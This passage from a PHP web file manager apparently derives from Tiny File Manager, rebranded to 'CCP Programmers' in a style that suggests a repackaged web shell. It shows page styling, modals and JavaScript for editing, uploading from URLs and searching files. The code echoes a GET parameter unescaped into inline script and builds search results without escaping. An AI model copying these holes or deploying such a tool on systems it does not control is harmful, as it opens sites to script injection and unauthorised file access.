0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
a {text-decoration: none; color:black;}
a:hover {text-decoration: none;color: red;}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ margin-top:3%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border: 2px solid red; border-radius: 5px;}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:0px;color:#888;text-align:center}
.fa { color:black;padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;border-radius: 5px;border: 2px solid red;background: transparent;}
.fa:hover {color: red;}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body style="font-family: 'Kelly Slab';" class="fm-login-page <?php
echo "";
?>">
<div id="wrapper" class="container-fluid">
<?php
}
/**
* Show page footer in Login Form
*/
function fm_show_footer_login()
{
?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php
}
/**
* Show Header after login
*/
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php
if ($favicon_path) {
echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
}
?>
<title><?php
echo fm_enc(APP_TITLE);
?></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
<?php
if (FM_USE_HIGHLIGHTJS) {
?>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php
echo "FM_HIGHLIGHTJS_STYLE";
?>.min.css">
<?php
}
?>
<style>
body { font-size:14px;color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a:hover, a:visited, a:focus { text-decoration:none !important; }
* { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
#search-addon2 { background:transparent;border-left:0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0 }
pre.with-hljs code { margin:0;border:0;overflow:visible }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC) }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
.ekko-lightbox .modal-dialog { max-width:98%; }
.ekko-lightbox-item.fade.in.show .row { background:#fff; }
.ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
.ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
.ekko-lightbox-nav-overlay a:hover { color:#20507D; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img {
max-width: 300px;
}
</style>
<?php
if (false) {
?>
<style>
body.theme-dark { background-color: #2f2a2a; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
.theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
</style>
<?php
}
?>
</head>
<body class="<?php
echo "";
?> <?php
echo $isStickyNavBar;
?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content <?php
echo fm_get_theme();
?>">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php
echo lng('CreateNewItem');
?></h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php
echo lng('ItemType');
?> </label></p>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
<label class="custom-control-label" for="customRadioInline1"><?php
echo lng('File');
?></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
<label class="custom-control-label" for="customRadioInline2"><?php
echo lng('Folder');
?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php
echo lng('ItemName');
?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control">
</div>
<div class="modal-footer">
<button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php
echo lng('Cancel');
?></button>
<button type="button" class="btn btn-success" onclick="newfolder('<?php
echo fm_enc(FM_PATH);
?>');return false;"><i class="fa fa-check-circle"></i> <?php
echo lng('CreateNow');
?></button>
</div>
</div>
</div>
</div>
<!-- Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php
echo fm_get_theme();
?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group input-group">
<input type="text" class="form-control" placeholder="<?php
echo lng('Search');
?> a files" aria-label="<?php
echo lng('Search');
?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<div class="input-group-append">
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</div>
</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php
echo lng('Search file in folder and subfolders...');
?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<script type="text/html" id="js-tpl-modal">
<div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<%this.content%>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php
echo lng('Cancel');
?></button>
<%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
</div>
</div>
</div>
</div>
</script>
<?php
}
/**
* Show page footer
*/
function fm_show_footer()
{
?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/plug-ins/1.11.5/sorting/absolute.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php
if (FM_USE_HIGHLIGHTJS) {
?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js"></script>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php
}
?>
<script>
$(document).on('click', '[data-toggle="lightbox"]', function(event) {
event.preventDefault();
var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
$(this).ekkoLightbox({
alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
});
});
//TFM Config
window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function newfolder(e) {
var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
}
function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) { //Create file backup with .bck
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState && 200 == n.status && toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
//Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' && n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save'};
$.ajax({
type: "POST",
url: window.location,
// The key needs to match your method's input parameter (case-sensitive).
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
//dataType: "json",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
}
}
}
//Check latest version
function latest_release_info(v) {
if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
//Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
//Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
//Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
//search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt && searchTxt.length > 2 && path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data && data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
//on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Event
$(document).ready( function () {
//load config
fm_get_config();
//dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
emptyType = $.fn.dataTable.absoluteOrder([{ value: '', position: 'top' }]);
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}, {type: emptyType, targets: '_all',},]
});
//search
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php
if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE) {
$ext = "javascript";
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php
echo $ext;
?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache 